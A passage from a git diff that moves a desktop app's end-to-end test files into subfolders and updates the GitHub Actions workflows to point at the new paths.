tests/e2e/ssh-orcad-identity-file-tokens.spec.ts delete mode 100644 tests/e2e/ssh-orcad-markdown-conversion.spec.ts delete mode 100644 tests/e2e/ssh-orcad-markdown-link-refresh.spec.ts delete mode 100644 tests/e2e/ssh-orcad-markdown-live-documents.spec.ts delete mode 100644 tests/e2e/ssh-orcad-move-anyway-inline.spec.ts delete mode 100644 tests/e2e/ssh-orcad-pairing-repair.spec.ts delete mode 100644 tests/e2e/ssh-orcad-shared-login-migration.spec.ts delete mode 100644 tests/e2e/ssh-orcad-sleep-disconnected.spec.ts delete mode 100644 tests/e2e/ssh-orcad-ssh-failure-reason.spec.ts delete mode 100644 tests/e2e/ssh-orcad-terminal-browser-link.spec.ts delete mode 100644 tests/e2e/ssh-orcad-terminal-journeys.spec.ts delete mode 100644 tests/e2e/ssh-orcad-terminal-network-outage.spec.ts delete mode 100644 tests/e2e/ssh-orcad-terminal-reconnect-idle-frame.spec.ts delete mode 100644 tests/e2e/ssh-orcad-terminal-root-owner.spec.ts delete mode 100644 tests/e2e/ssh-orcad-update-anyway.spec.ts delete mode 100644 tests/e2e/ssh-orcad-vm-provisioned-root.spec.ts delete mode 100644 tests/e2e/ssh-orcad-windows-cli-matrix.spec.ts delete mode 100644 tests/e2e/ssh-orcad-workspace-tools.spec.ts delete mode 100644 tests/e2e/status-bar-session-count-management-kill.spec.ts delete mode 100644 tests/e2e/structured-agent-session-launch-admission.unit.test.ts delete mode 100644 tests/e2e/tasks-page.spec.ts delete mode 100644 tests/e2e/terminal-cjk-ime-committed-text.spec.ts delete mode 100644 tests/e2e/terminal-cli-split-closed-before-mount.spec.ts delete mode 100644 tests/e2e/terminal-codex-hidden-startup-background.spec.ts delete mode 100644 tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts delete mode 100644 tests/e2e/terminal-duplicate-pty-renderer-reveal.spec.ts delete mode 100644 tests/e2e/terminal-hangul-terminating-digit-native.spec.ts delete mode 100644 tests/e2e/terminal-hangul-wrap-boundary-bytes.spec.ts delete mode 100644 tests/e2e/terminal-hidden-child-tui-kill-mode-reset.spec.ts delete mode 100644 tests/e2e/terminal-hidden-tui-visual-restore.spec.ts delete mode 100644 tests/e2e/terminal-hidden-view-parking.spec.ts delete mode 100644 tests/e2e/terminal-ibus-hangul-native.spec.ts delete mode 100644 tests/e2e/terminal-ime-clause-selection.spec.ts delete mode 100644 tests/e2e/terminal-ime-exact-byte.spec.ts delete mode 100644 tests/e2e/terminal-ime-preedit-cell-grid.spec.ts delete mode 100644 tests/e2e/terminal-ime-preedit-continuity.spec.ts delete mode 100644 tests/e2e/terminal-inline-images-memory.spec.ts delete mode 100644 tests/e2e/terminal-inline-images-paired-runtime.spec.ts delete mode 100644 tests/e2e/terminal-inline-images-windows.spec.ts delete mode 100644 tests/e2e/terminal-inline-tui-reveal-convergence.spec.ts delete mode 100644 tests/e2e/terminal-kitty-placeholders.spec.ts delete mode 100644 tests/e2e/terminal-kitty-reattach-parity.spec.ts delete mode 100644 tests/e2e/terminal-korean-composing-chord-order.spec.ts delete mode 100644 tests/e2e/terminal-korean-endofrow-preedit-cell-span.spec.ts delete mode 100644 tests/e2e/terminal-korean-midline-preedit-occlusion.spec.ts delete mode 100644 tests/e2e/terminal-large-paste-responsiveness.spec.ts delete mode 100644 tests/e2e/terminal-layout-parity.spec.ts delete mode 100644 tests/e2e/terminal-link-hover-after-worktree-return.spec.ts delete mode 100644 tests/e2e/terminal-linux-direct-ime-commit.spec.ts delete mode 100644 tests/e2e/terminal-macos-2set-korean-native.spec.ts delete mode 100644 tests/e2e/terminal-macos-system-key-remap.spec.ts delete mode 100644 tests/e2e/terminal-opencode-emoji-table-rendering.spec.ts delete mode 100644 tests/e2e/terminal-option-composed-ascii.spec.ts delete mode 100644 tests/e2e/terminal-osc8-cold-park-restore.spec.ts delete mode 100644 tests/e2e/terminal-output-scheduler.spec.ts delete mode 100644 tests/e2e/terminal-pane-close-layout-consistency.spec.ts delete mode 100644 tests/e2e/terminal-pane-divider-capture-loss.spec.ts delete mode 100644 tests/e2e/terminal-pane-split-identity.spec.ts delete mode 100644 tests/e2e/terminal-pane-title-strip-placement.spec.ts delete mode 100644 tests/e2e/terminal-parked-cli-split.spec.ts delete mode 100644 tests/e2e/terminal-perf-presentation.unit.test.ts delete mode 100644 tests/e2e/terminal-pinned-viewport-streaming-switch.spec.ts delete mode 100644 tests/e2e/terminal-pinned-viewport-worktree-switch.spec.ts delete mode 100644 tests/e2e/terminal-quick-command-pre-bind-recovery.spec.ts delete mode 100644 tests/e2e/terminal-raw-emoji-table-scroll-restore.spec.ts delete mode 100644 tests/e2e/terminal-reattach-mouse-mode-leak.spec.ts delete mode 100644 tests/e2e/terminal-reattach-tui-mouse-mode.spec.ts delete mode 100644 tests/e2e/terminal-replay-presentation.spec.ts delete mode 100644 tests/e2e/terminal-reset-input-modes.spec.ts delete mode 100644 tests/e2e/terminal-restart-persistence.spec.ts delete mode 100644 tests/e2e/terminal-reveal-paused-render-repro.spec.ts delete mode 100644 tests/e2e/terminal-search-results.spec.ts delete mode 100644 tests/e2e/terminal-shortcuts.spec.ts delete mode 100644 tests/e2e/terminal-stuck-occlusion-recovery.spec.ts delete mode 100644 tests/e2e/terminal-tab-close-restart-persistence.spec.ts delete mode 100644 tests/e2e/terminal-tab-switch-sigwinch-restore.spec.ts delete mode 100644 tests/e2e/terminal-tui-wheel-drain.spec.ts delete mode 100644 tests/e2e/terminal-tui-wheel-reports.spec.ts delete mode 100644 tests/e2e/terminal-warm-reattach-split-live-output.spec.ts delete mode 100644 tests/e2e/terminal-windows-conpty-keyboard-reset.spec.ts delete mode 100644 tests/e2e/terminal-windows-shell-paste-ownership.spec.ts create mode 100644 tests/e2e/terminal/ime/terminal-ibus-hangul-native.spec.ts rename tests/e2e/{ => terminal/ime}/terminal-ime-boundary-probe.ts (100%) rename tests/e2e/{ => terminal/ime}/terminal-ime-byte-reader.ts (94%) rename tests/e2e/{ => terminal/ime}/terminal-ime-cdp-composition.ts (100%) rename tests/e2e/{ => terminal/ime}/terminal-ime-dom-delivery.ts (100%) rename tests/e2e/{ => terminal/ime}/terminal-ime-engagement-receipt.ts (100%) rename tests/e2e/{ => terminal/ime}/terminal-ime-midline-occlusion-probe.ts (100%) rename tests/e2e/{ => terminal/ime}/terminal-ime-observed-event-sequences.ts (100%) rename tests/e2e/{ => terminal/ime}/terminal-ime-pane-arena.ts (83%) rename tests/e2e/{ => terminal/ime}/terminal-ime-platform-policy.ts (100%) rename tests/e2e/{ => terminal/ime}/terminal-ime-preedit-overlay-probe.ts (100%) rename tests/e2e/{ => terminal/ime}/terminal-ime-recorded-dom-trace-replay.ts (100%) rename tests/e2e/{ => terminal/ime}/terminal-korean-preedit-visibility.spec.ts (66%) rename tests/e2e/{ => terminal/ime}/terminal-linux-claimed-preedit-selector.spec.ts (96%) create mode 100644 tests/e2e/terminal/ime/terminal-option-composed-ascii.spec.ts rename tests/e2e/{ => terminal/ime}/terminal-option-key-input.ts (93%) rename tests/e2e/{ => terminal/ime}/terminal-wayland-input-diagnostics.ts (100%) rename tests/e2e/{ => terminal/input-latency}/codex-composer-echo-latency-probe.ts (100%) rename tests/e2e/{helpers => terminal/input}/dead-terminal.ts (95%) rename tests/e2e/{helpers => terminal/input}/run-node-script-in-terminal.ts (94%) rename tests/e2e/{helpers => terminal/input}/terminal-accessibility-tree.ts (100%) rename tests/e2e/{helpers => terminal/input}/terminal-active-pane.ts (97%) rename tests/e2e/{helpers => terminal/input}/terminal-input-probes.ts (97%) rename tests/e2e/{helpers => terminal/input}/terminal-kitty-file-image-proof.ts (95%) rename tests/e2e/{helpers => terminal/input}/terminal-kitty-keyboard.ts (95%) rename tests/e2e/{ => terminal/input}/terminal-marker-echo-command.ts (100%) rename tests/e2e/{ => terminal/input}/terminal-node-command.ts (73%) rename tests/e2e/{ => terminal/input}/terminal-paste-ownership.spec.ts (60%) rename tests/e2e/{ => terminal/input}/terminal-probe-input-sequence.ts (100%) rename tests/e2e/{helpers => terminal/input}/terminal-pty-injection.ts (100%) rename tests/e2e/{helpers => terminal/input}/terminal-pty-write-spy.ts (96%) create mode 100644 tests/e2e/terminal/input/terminal-shortcuts.spec.ts rename tests/e2e/{ => terminal/input}/terminal-windows-codex-multiline-paste.spec.ts (63%) rename tests/e2e/{ => terminal/input}/terminal-windows-path-expansion.spec.ts (78%) create mode 100644 tests/e2e/terminal/input/terminal-windows-shell-paste-ownership.spec.ts rename tests/e2e/{helpers => terminal/input}/terminal.ts (52%) create mode 100644 tests/e2e/terminal/input/windows-terminal-env-icons.spec.ts rename tests/e2e/{ => terminal/layout}/terminal-close-pane-focus.spec.ts (80%) rename tests/e2e/{ => terminal/layout}/terminal-closed-pane-quit-relaunch.spec.ts (88%) rename tests/e2e/{helpers => terminal/layout}/terminal-inventory-observation.ts (83%) rename tests/e2e/{ => terminal/layout}/terminal-pane-content-retention.spec.ts (87%) rename tests/e2e/{helpers => terminal/layout}/terminal-pane-geometry.ts (89%) rename tests/e2e/{helpers => terminal/layout}/terminal-pane-identity.ts (95%) rename tests/e2e/{helpers => terminal/layout}/terminal-pane-mount-readiness.ts (78%) rename tests/e2e/{helpers => terminal/layout}/terminal-pane-operations.ts (99%) create mode 100644 tests/e2e/terminal/layout/terminal-pane-split-identity.spec.ts rename tests/e2e/{helpers => terminal/layout}/terminal-pane-title-actions.ts (92%) rename tests/e2e/{ => terminal/layout}/terminal-split-pane-paste-ownership.spec.ts (90%) rename tests/e2e/{helpers => terminal/layout}/terminal-tab-menu.ts (96%) rename tests/e2e/{helpers => terminal/layout}/terminal-title-log.ts (100%) rename tests/e2e/{ => terminal/lifecycle}/automation-hidden-terminal-first-mount.spec.ts (92%) rename tests/e2e/{ => terminal/lifecycle}/terminal-codex-home.spec.ts (86%) rename tests/e2e/{ => terminal/lifecycle}/terminal-native-ibus-window.ts (100%) rename tests/e2e/{ => terminal/lifecycle}/terminal-osc-color-queries.spec.ts (82%) rename tests/e2e/{ => terminal/lifecycle}/terminal-pty-readiness.ts (92%) rename tests/e2e/{ => terminal/lifecycle}/terminal-scroll-intent-follow.spec.ts (95%) rename tests/e2e/{ => terminal/lifecycle}/terminal-tab-level-binding-upgrade.spec.ts (81%) rename tests/e2e/{ => terminal/lifecycle}/terminal-wedged-write-pipeline-recovery.spec.ts (91%) rename tests/e2e/{ => terminal/links}/terminal-link-click-ownership.spec.ts (73%) rename tests/e2e/{helpers => terminal/links}/terminal-workspace-root-link.ts (90%) rename tests/e2e/{helpers => terminal/output}/alt-screen-frame.ts (100%) rename tests/e2e/{ => terminal/performance}/artificial-opencode-active-terminal-scroll.ts (100%) rename tests/e2e/{ => terminal/performance}/artificial-opencode-hidden-pressure-scenario.ts (97%) rename tests/e2e/{ => terminal/performance}/artificial-opencode-hidden-pressure-script.ts (96%) rename tests/e2e/{ => terminal/performance}/artificial-opencode-pane-interactions.ts (91%) rename tests/e2e/{ => terminal/performance}/artificial-opencode-revisit-pressure-scenario.ts (97%) rename tests/e2e/{ => terminal/performance}/capture-opencode-tui-repro.mjs (100%) rename tests/e2e/{ => terminal/performance}/in-app-typing-diagnostic.ts (100%) rename tests/e2e/{helpers => terminal/performance}/layout-latency-probe.ts (98%) rename tests/e2e/{ => terminal/performance}/multi-workspace-typing-bench.ts (93%) rename tests/e2e/{ => terminal/performance}/paced-terminal-typing-measurement.ts (100%) rename tests/e2e/{ => terminal/performance}/paced-terminal-typing.ts (97%) rename tests/e2e/{ => terminal/performance}/sustained-agent-typing-load-scripts.ts (98%) rename tests/e2e/{ => terminal/performance}/synchronized-output-blackout-probe.ts (100%) rename tests/e2e/{helpers => terminal/performance}/tab-render-recorder.ts (100%) rename tests/e2e/{ => terminal/performance}/terminal-perf-presentation.ts (100%) create mode 100644 tests/e2e/terminal/performance/terminal-perf-presentation.unit.test.ts rename tests/e2e/{helpers => terminal/performance}/terminal-typing-benchmark.ts (93%) rename tests/e2e/{ => terminal/performance}/typing-load-workspaces.ts (96%) rename tests/e2e/{ => terminal/performance}/typing-renderer-cpu-profile.ts (100%) rename tests/e2e/{ => terminal/performance}/typing-scale-census.ts (66%) rename tests/e2e/{helpers => terminal/readiness}/restored-terminal-input-readiness.ts (96%) rename tests/e2e/{helpers => terminal/readiness}/startup-exec-readiness-oracle.ts (93%) rename tests/e2e/{helpers => terminal/remote-hosts}/host-session-tabs.ts (90%) rename tests/e2e/{helpers => terminal/remote-hosts}/paired-desktop-server-terminal-tab.ts (85%) rename tests/e2e/{helpers => terminal/remote-hosts}/paired-host-terminal.ts (98%) rename tests/e2e/{helpers => terminal/remote-hosts}/remote-terminal-lifecycle-observer.ts (100%) rename tests/e2e/{helpers => terminal/remote-hosts}/streaming-terminal-cleanup.ts (100%) rename tests/e2e/{ => terminal/remote-input}/headless-paired-remote-terminal-early-typing.spec.ts (92%) rename tests/e2e/{ => terminal/remote-input}/headless-paired-remote-terminal-stall-recovery.spec.ts (90%) rename tests/e2e/{ => terminal/remote-input}/remote-terminal-input-model-link.ts (95%) rename tests/e2e/{ => terminal/remote-layout}/headless-paired-remote-terminal-reveal-grid.spec.ts (91%) rename tests/e2e/{ => terminal/remote-layout}/headless-paired-remote-terminal-viewer-size.spec.ts (86%) rename tests/e2e/{ => terminal/remote-layout}/paired-remote-terminal-pane-move-to-new-tab.spec.ts (58%) rename tests/e2e/{helpers => terminal/remote-layout}/remote-session-bulk-open-fixture.ts (96%) rename tests/e2e/{helpers => terminal/remote-layout}/remote-session-bulk-open-oracle.ts (95%) rename tests/e2e/{helpers => terminal/remote-parking}/host-created-terminal-retention-oracle.ts (97%) rename tests/e2e/{ => terminal/remote-parking}/paired-remote-terminal-initial-snapshot-scrollback.spec.ts (91%) create mode 100644 tests/e2e/terminal/remote-parking/paired-remote-terminal-truncated-tail-first-paint.spec.ts rename tests/e2e/{ => terminal/remote-parking}/paired-runtime-retention-metrics.ts (100%) rename tests/e2e/{helpers => terminal/remote-parking}/paired-terminal-cold-activation-observation.ts (94%) rename tests/e2e/{helpers => terminal/remote-parking}/paired-terminal-cold-activation-oracle.ts (95%) rename tests/e2e/{helpers => terminal/remote-parking}/paired-terminal-hidden-output-oracle.ts (92%) rename tests/e2e/{helpers => terminal/remote-parking}/paired-terminal-parking-fixture.ts (97%) rename tests/e2e/{helpers => terminal/remote-parking}/paired-terminal-parking-oracle.ts (94%) rename tests/e2e/{helpers => terminal/remote-parking}/paired-terminal-title-fanout-oracle.ts (96%) rename tests/e2e/{helpers => terminal/remote-reconnect}/paired-terminal-restart-renderer-probes.ts (96%) rename tests/e2e/{ => terminal/rendering}/alternate-screen-fixture-script.ts (100%) rename tests/e2e/{ => terminal/rendering}/terminal-column-desync-repro.spec.ts (97%) rename tests/e2e/{ => terminal/rendering}/terminal-column-probes.ts (93%) rename tests/e2e/{ => terminal/rendering}/terminal-cursor-raster-probe.ts (100%) rename tests/e2e/{ => terminal/rendering}/terminal-dom-block-decorations.spec.ts (91%) rename tests/e2e/{helpers => terminal/rendering}/terminal-inline-image-proof.ts (100%) rename tests/e2e/{ => terminal/rendering}/terminal-screenshot-diff.ts (100%) rename tests/e2e/{ => terminal/rendering}/terminal-tab-screenshot.ts (88%) rename tests/e2e/{ => terminal/rendering}/terminal-tab-switch-visual-restore.spec.ts (80%) rename tests/e2e/{helpers => terminal/rendering}/xterm-render-dimensions.ts (100%) rename tests/e2e/{helpers => terminal/resource-management}/resource-manager-visible-fixture.ts (100%) rename tests/e2e/{helpers => terminal/retention}/terminal-hidden-parking.ts (91%) rename tests/e2e/{helpers => terminal/retention}/terminal-host-focus-storm-oracle.ts (91%) rename tests/e2e/{ => terminal/retention}/terminal-parked-close-retirement.spec.ts (84%) create mode 100644 tests/e2e/terminal/retention/terminal-restart-persistence.spec.ts rename tests/e2e/{helpers => terminal/retention}/terminal-restart-persistence.ts (91%) rename tests/e2e/{ => terminal/retention}/terminal-sleep-wake-restore.spec.ts (96%) rename tests/e2e/{ => terminal/retention}/terminal-tab-close-running-confirm-mouse.spec.ts (76%) rename tests/e2e/{ => terminal/retention}/terminal-tab-close-running-confirm.spec.ts (80%) delete mode 100644 tests/e2e/unopened-workspace-agent-single-resume.spec.ts delete mode 100644 tests/e2e/update-install-renderer-checkpoint-recovery.spec.ts delete mode 100644 tests/e2e/windows-terminal-env-icons.spec.ts delete mode 100644 tests/e2e/windows-wsl-terminal-restore.spec.ts delete mode 100644 tests/e2e/workspace-layout-oracle-headless.spec.ts delete mode 100644 tests/e2e/workspace-layout-oracle.spec.ts delete mode 100644 tests/e2e/workspace-session-corrupt-tab-salvage.spec.ts delete mode 100644 tests/e2e/workspace-sleep-main-resume.spec.ts rename tests/e2e/{ => workspaces/lifecycle}/default-branch-visibility.spec.ts (92%) rename tests/e2e/{ => workspaces/lifecycle}/local-worktree-visibility-runtime-active.spec.ts (89%) rename tests/e2e/{ => workspaces/lifecycle}/worktree-jump-palette-folder-workspaces.spec.ts (91%) rename tests/e2e/{ => workspaces/lifecycle}/worktree-lineage-state.ts (98%) rename tests/e2e/{ => workspaces/project-admission}/new-workspace-cross-project-dialog.spec.ts (96%) rename tests/e2e/{ => workspaces/project-admission}/new-workspace-linked-item-project-switch.spec.ts (93%) rename tests/e2e/{ => workspaces/project-admission}/project-group-manual-sort.spec.ts (98%) rename tests/e2e/{ => workspaces/project-admission}/repo-registration-async.spec.ts (84%) rename tests/e2e/{helpers => workspaces/repository-fixtures}/git-status-retry-barrier.ts (100%) rename tests/e2e/{helpers => workspaces/repository-fixtures}/repo-with-workspaces.ts (95%) rename tests/e2e/{helpers => workspaces/repository-fixtures}/seeded-ssh-workspaces.ts (82%) rename tests/e2e/{helpers => workspaces/repository-fixtures}/seeded-test-repo.ts (90%) rename tests/e2e/{helpers => workspaces/repository-fixtures}/worktree-registration.ts (95%) rename tests/e2e/{ => workspaces/sidebar}/sidebar-folder-keyboard-navigation.spec.ts (96%) rename tests/e2e/{helpers => workspaces/sidebar}/sidebar-inputs-build.ts (100%) rename tests/e2e/{helpers => workspaces/sidebar}/sidebar-project-dialog.ts (100%) rename tests/e2e/{helpers => workspaces/sidebar}/sidebar-project-visibility.ts (100%) rename tests/e2e/{helpers => workspaces/sidebar}/sidebar-setup-prompt.ts (82%) rename tests/e2e/{ => workspaces/sidebar}/sidebar-unread-older-paired-host.spec.ts (93%) create mode 100644 tests/e2e/workspaces/sidebar/sidebar-workspace-rows.spec.ts rename tests/e2e/{ => workspaces/sidebar}/spinner-workspace-fixture.ts (96%) rename tests/e2e/{ => workspaces/sidebar}/workspace-board-lane-virtualization.spec.ts (51%) rename tests/e2e/{ => workspaces/sidebar}/worktree-parent-reorder.spec.ts (76%) rename tests/e2e/{ => workspaces/sidebar}/worktree-row-locators.ts (100%) rename tests/e2e/{helpers => workspaces/sleep}/slept-workspace-probe.ts (93%) rename tests/e2e/{ => workspaces/sleep}/workspace-sleep-in-main.spec.ts (52%) delete mode 100644 tests/e2e/worktree-card-downward-drag.spec.ts delete mode 100644 tests/e2e/worktree-delete-shortcut.spec.ts delete mode 100644 tests/e2e/worktree-jump-sleep-focus.spec.ts delete mode 100644 tests/e2e/worktree-lifecycle.spec.ts delete mode 100644 tests/e2e/worktree-recent-sort.spec.ts delete mode 100644 tests/e2e/worktree-switch-responsiveness.spec.ts delete mode 100644 tests/e2e/worktree.spec.ts delete mode 100644 tests/e2e/wsl-drive-unc-conversion.spec.ts delete mode 100644 tests/e2e/wsl-host-chat.spec.ts delete mode 100644 tests/e2e/wsl-host-no-background-boot.spec.ts delete mode 100644 tests/e2e/wsl-host-paired-phone.spec.ts delete mode 100644 tests/e2e/wsl-host-terminal-start.spec.ts delete mode 100644 tests/e2e/wsl-move-dialog.spec.ts delete mode 100644 tests/e2e/wsl-move-fence.spec.ts delete mode 100644 tests/e2e/wsl-move-moved-project-chats.spec.ts delete mode 100644 tests/e2e/wsl-move-restore-lifecycle.spec.ts delete mode 100644 tests/e2e/wsl-move-undo-host-copy.spec.ts delete mode 100644 tests/e2e/zcode-plan-credentials.spec.ts diff --git a/.github/workflows/computer-e2e.yml b/.github/workflows/computer-e2e.yml index cc788c80770..d9be6fedc98 100644 --- a/.github/workflows/computer-e2e.yml +++ b/.github/workflows/computer-e2e.yml @@ -48,12 +48,12 @@ on: - 'src/main/runtime/rpc/responses/rpc-response.ts' - 'src/main/runtime/rpc/methods/computer/computer*.ts' - 'src/shared/computer/computer-use-*.ts' - - 'tests/e2e/computer-linux.e2e.ts' - - 'tests/e2e/computer-windows.e2e.ts' - - 'tests/e2e/computer-windows-background.e2e.ts' - - 'tests/e2e/helpers/windows-semantic-controls-fixture.*' - - 'tests/e2e/helpers/computer-cli-driver.ts' - - 'tests/e2e/helpers/computer-driver.ts' + - 'tests/e2e/desktop/computer-use/computer-linux.e2e.ts' + - 'tests/e2e/desktop/computer-use/computer-windows.e2e.ts' + - 'tests/e2e/desktop/computer-use/computer-windows-background.e2e.ts' + - 'tests/e2e/desktop/computer-use/windows-semantic-controls-fixture.*' + - 'tests/e2e/desktop/computer-use/computer-cli-driver.ts' + - 'tests/e2e/desktop/computer-use/computer-driver.ts' - 'tests/e2e/vitest.config.ts' workflow_dispatch: schedule: @@ -127,7 +127,7 @@ jobs: - run: pnpm verify:computer-native - run: pnpm build:cli - run: pnpm run build:electron-vite:parallel - - run: xvfb-run --auto-servernum dbus-run-session -- pnpm test:e2e:computer --reporter=verbose tests/e2e/computer-linux.e2e.ts + - run: xvfb-run --auto-servernum dbus-run-session -- pnpm test:e2e:computer --reporter=verbose tests/e2e/desktop/computer-use/computer-linux.e2e.ts windows: if: github.event_name != 'pull_request' @@ -145,4 +145,4 @@ jobs: - run: pnpm verify:computer-native - run: pnpm build:cli - run: pnpm run build:electron-vite:parallel - - run: pnpm test:e2e:computer --reporter=verbose tests/e2e/computer-windows.e2e.ts tests/e2e/computer-windows-background.e2e.ts + - run: pnpm test:e2e:computer --reporter=verbose tests/e2e/desktop/computer-use/computer-windows.e2e.ts tests/e2e/desktop/computer-use/computer-windows-background.e2e.ts diff --git a/.github/workflows/e2e.yml b/.github/workflows/e2e.yml index 006d0e148c9..0a629cdcb27 100644 --- a/.github/workflows/e2e.yml +++ b/.github/workflows/e2e.yml @@ -410,15 +410,12 @@ jobs: printf '%s\n' "$TEST_FILES_JSON" | node "$E2E_SELECTION_SCRIPT" > "$RUNNER_TEMP/general-e2e-specs" else # Dispatching an older ref retains its existing dedicated-owner exclusions. - jq -r '.[] | select( - . != "tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts" and - . != "tests/e2e/terminal-ibus-hangul-native.spec.ts" and - . != "tests/e2e/orcad-serve-mode-switch.spec.ts" and - . != "tests/e2e/workspace-layout-oracle-headless.spec.ts" and - . != "tests/e2e/windows-missing-appdata-startup.spec.ts" and - . != "tests/e2e/file-explorer-copy-file-windows.spec.ts" and - (startswith("tests/e2e/ssh-orcad-") | not) - )' <<<"$TEST_FILES_JSON" > "$RUNNER_TEMP/general-e2e-specs" + jq -r --argjson dedicated '["tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts","tests/e2e/remote/ssh-hosts/ssh-browser-network-execution-route.docker.unit.test.ts","tests/e2e/terminal-ibus-hangul-native.spec.ts","tests/e2e/terminal/ime/terminal-ibus-hangul-native.spec.ts","tests/e2e/orcad-serve-mode-switch.spec.ts","tests/e2e/remote/managed-ssh/host-lifecycle/orcad-serve-mode-switch.spec.ts","tests/e2e/windows-missing-appdata-startup.spec.ts","tests/e2e/desktop/startup-recovery/windows-missing-appdata-startup.spec.ts","tests/e2e/file-explorer-copy-file-windows.spec.ts","tests/e2e/editor/file-explorer/file-explorer-copy-file-windows.spec.ts"]' --argjson managed '["tests/e2e/remote/managed-ssh/file-lifecycle/ssh-orcad-editor-watch-recovery.spec.ts","tests/e2e/remote/managed-ssh/file-lifecycle/ssh-orcad-explorer-watch-recovery.spec.ts","tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-idle-exit.spec.ts","tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-pairing-repair.spec.ts","tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-shared-home-machines.spec.ts","tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-unbindable-tunnel-port.spec.ts","tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-update-anyway.spec.ts"]' ' + .[] | select(. as $spec | + (($dedicated | index($spec)) == null) and + (($managed | index($spec)) == null) and + (startswith("tests/e2e/ssh-orcad-") | not) + )' <<<"$TEST_FILES_JSON" > "$RUNNER_TEMP/general-e2e-specs" fi mapfile -t TEST_FILES < "$RUNNER_TEMP/general-e2e-specs" if [ "${#TEST_FILES[@]}" -eq 0 ]; then @@ -426,9 +423,6 @@ jobs: exit 0 fi E2E_ENV=(SKIP_BUILD=1 ORCA_E2E_FORWARD_APP_LOGS=1 ORCA_E2E_WEB_CLIENT=1) - if printf '%s\n' "${TEST_FILES[@]}" | grep -Fxq 'tests/e2e/browser-image-link-focus.spec.ts'; then - E2E_ENV+=(ORCA_BACKGROUND_LAUNCH=1 ORCA_E2E_BROWSER_NATIVE_XVFB=1) - fi E2E_PROJECT_ARGS=() if [ -n "$LAYOUT_OWNER" ]; then test -f out/main/ORCA_LAYOUT_OWNER_MAIN @@ -494,15 +488,6 @@ jobs: retention-days: 14 if-no-files-found: warn - - name: Upload parked split visual proof - if: always() && contains(inputs.test_files, 'tests/e2e/terminal-parked-cli-split.spec.ts') - uses: actions/upload-artifact@v7 - with: - name: parked-split-proof-${{ strategy.job-index }}${{ inputs.artifact_suffix }}-attempt-${{ github.run_attempt }} - path: test-results/**/parked-cli-split-*.png - retention-days: 7 - if-no-files-found: ignore - - name: Upload Playwright traces if: failure() || cancelled() uses: actions/upload-artifact@v7 @@ -514,7 +499,7 @@ jobs: ssh-browser-network-route: name: ssh browser network route - if: inputs.test_files == '' || contains(inputs.test_files, 'tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts') + if: inputs.test_files == '' || contains(inputs.test_files, 'tests/e2e/remote/ssh-hosts/ssh-browser-network-execution-route.docker.unit.test.ts') runs-on: ${{ inputs.fast_runners && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-24.04' }} timeout-minutes: 15 steps: @@ -530,15 +515,14 @@ jobs: env: ORCA_BACKGROUND_LAUNCH: '1' ORCA_RUN_DOCKER_SSH_BROWSER_E2E: '1' - run: node_modules/.bin/vitest run --config config/vitest.config.ts tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts + run: node_modules/.bin/vitest run --config config/vitest.config.ts tests/e2e/remote/ssh-hosts/ssh-browser-network-execution-route.docker.unit.test.ts orcad-serve-mode-switch: name: orca serve Electron/orcad mode switch (D7) needs: [build] if: >- inputs.test_files == '' || - contains(inputs.test_files, 'tests/e2e/orcad-serve-mode-switch.spec.ts') || - contains(inputs.test_files, 'tests/e2e/workspace-layout-oracle-headless.spec.ts') + contains(inputs.test_files, 'tests/e2e/remote/managed-ssh/host-lifecycle/orcad-serve-mode-switch.spec.ts') runs-on: ${{ inputs.fast_runners && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-24.04' }} timeout-minutes: 45 env: @@ -583,53 +567,21 @@ jobs: node "$(if [ -f config/scripts/orcad-distribution/template/build-orcad-template.mjs ]; then printf %s config/scripts/orcad-distribution/template/build-orcad-template.mjs; else printf %s config/scripts/build-orcad-template.mjs; fi)" --targets "$slot" fi - name: Switch serve hosts on one profile - if: inputs.test_files == '' || contains(inputs.test_files, 'tests/e2e/orcad-serve-mode-switch.spec.ts') + if: inputs.test_files == '' || contains(inputs.test_files, 'tests/e2e/remote/managed-ssh/host-lifecycle/orcad-serve-mode-switch.spec.ts') env: SKIP_BUILD: '1' ORCA_E2E_ORCAD_SERVE: '1' ORCA_E2E_FORWARD_APP_LOGS: '1' - run: xvfb-run --auto-servernum bash .github/scripts/e2e-with-window-manager.sh pnpm exec playwright test --config tests/playwright.config.ts tests/e2e/orcad-serve-mode-switch.spec.ts --project=electron-headless --workers=1 + run: xvfb-run --auto-servernum bash .github/scripts/e2e-with-window-manager.sh pnpm exec playwright test --config tests/playwright.config.ts tests/e2e/remote/managed-ssh/host-lifecycle/orcad-serve-mode-switch.spec.ts --project=electron-headless --workers=1 # Only this job builds out/orcad, so the spec's orcad case runs here; the e2e shards run its Electron case. - name: Phone Markdown on headless orcad serve if: >- !cancelled() && - (inputs.test_files == '' || contains(inputs.test_files, 'tests/e2e/headless-serve-mobile-markdown.spec.ts')) + (inputs.test_files == '' || contains(inputs.test_files, 'tests/e2e/remote/mobile-mirror/headless-serve-mobile-markdown.spec.ts')) env: SKIP_BUILD: '1' ORCA_E2E_FORWARD_APP_LOGS: '1' - run: xvfb-run --auto-servernum bash .github/scripts/e2e-with-window-manager.sh pnpm exec playwright test --config tests/playwright.config.ts tests/e2e/headless-serve-mobile-markdown.spec.ts --grep "headless orcad server" --project=electron-headless --workers=1 - # The layout oracle's headless scenarios run on both serve hosts, so they need this job's orcad. - - name: Layout oracle on headless serve (orcad and Electron) - if: >- - !cancelled() && - (inputs.test_files == '' || contains(inputs.test_files, 'tests/e2e/workspace-layout-oracle-headless.spec.ts')) - env: - SKIP_BUILD: '1' - ORCA_E2E_FORWARD_APP_LOGS: '1' - LAYOUT_OWNER: ${{ inputs.layout_owner }} - run: | - REPORT_ARGS=() - if [ -n "$LAYOUT_OWNER" ]; then - test -f out/main/ORCA_LAYOUT_OWNER_MAIN - mkdir -p layout-divergence - export ORCA_LAYOUT_SAVE_DIVERGENCE_LOG="$PWD/layout-divergence/headless-oracle.jsonl" - export 